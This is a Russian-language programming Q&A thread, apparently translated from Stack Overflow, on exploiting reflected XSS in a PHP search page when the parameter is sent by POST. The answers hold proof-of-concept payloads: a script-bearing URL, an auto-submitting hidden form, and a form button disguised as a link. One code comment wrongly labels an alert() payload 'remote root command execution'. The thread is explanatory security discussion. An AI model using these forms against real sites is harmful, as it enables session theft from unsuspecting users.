Какие методы используются для использования XSS, если параметр echo'd изменен с GET на POST? - PullRequest
2 голосов
/ 28 ноября 2010

Изучите этот пример.Это на PHP, но вы должны быть в состоянии понять, что происходит, если вы не знаете PHP.

echo 'You searched for "' . $_GET['q'] . '"'; 

Теперь, очевидно, это плохая идея, если я запрашиваю ...

http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>

ОК, теперь я изменяю GET на POST ...

echo 'You searched for "' . $_POST['q'] . '"';

Теперь строка запроса в URL не будет работать.

Я знаюЯ не могу использовать AJAX для публикации там из-за той же политики домена.Если я могу запустить JavaScript на домене, то у него уже есть проблемы с безопасностью.

Одна вещь, о которой я подумал, - это найти сайт, уязвимый для XSS, и добавить форму, в которой публикуютсяна целевой сайт, который отправляет данные о загрузке (или, конечно, перенаправляет людей на ваш веб-сайт, который делает это).Это похоже на территорию CSRF.

Итак, каковы способы использования второго примера (с использованием POST)?

Спасибо

Ответы [ 2 ]

3 голосов
/ 28 ноября 2010

Вот xss-эксплойт для вашего уязвимого кода.Как вы уже заметили, эта схема атаки идентична схеме на основе POST CSRF .В этом случае я создаю запрос POST как форму, а затем вызываю .submit() в форме в самом низу.Для вызова submit необходимо указать тип отправки в форме.Почтовый запрос будет немедленно выполнен, и страница будет перенаправлена, лучше всего запускать csrf эксплойтов на основе поста в невидимом фрейме.

<html>
    <form id=1 method="post" action="http://victim/vuln.php">
        <input type=hidden name="q" value="<script>alert(/xss/)</script>">
        <input type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>

Я также рекомендовал прочитать о sammy worm и не стесняйтесь задавать любые вопросы о других подвигах, которые я написал .

3 голосов
/ 28 ноября 2010

Все, что мне нужно сделать, чтобы использовать это, - заставить пользователя щелкнуть форму, которая отправляет испорченную переменную «q».Если бы я был таким противным, я бы создал кнопку формы, которая выглядит как ссылка (или даже ссылка, которая записывается в форму POST с помощью Javascript, что-то вроде того, как Rails делает свою вещь link_to_remote до 3.0).

Представьте себе что-то вроде этого:

    <form id="nastyform" method="post" action="http://yoururl.com/search.php">
      <input type="submit" value="Click here for free kittens!">
      <input type="hidden" name="q" value="<script>alert('My nasty cookie-stealing Javascript')</script>" />
    </form>
    <style>
      #nastyform input {
        border: 0;
        background: #fff;
        color: #00f;
        padding: 0;
        margin: 0;
        cursor: pointer;
        text-decoration: underline;
      }
    </style>

Если я смогу заставить пользователя щелкнуть по нему (думая, что он нажимает на какую-то невинную ссылку), то я могу опубликовать произвольные данные в поиске, который затем будет отраженна его страницу, и я могу перехватить его сеанс или сделать любые другие неприятные вещи, которые я захочу.

Публикация данных по своей природе не является более безопасной, чем получение данных;это все еще пользовательский ввод, и ему абсолютно нельзя доверять.

CSRF-атаки - это другой класс атак, где некоторые законные действия инициируются без разрешения пользователя;у него такой же вектор входа, но это классическая атака XSS, предназначенная для того, чтобы в результате внедрить вредоносный Javascript на страницу с целью получения доступа к сеансу или чего-то такого же разрушительного.

...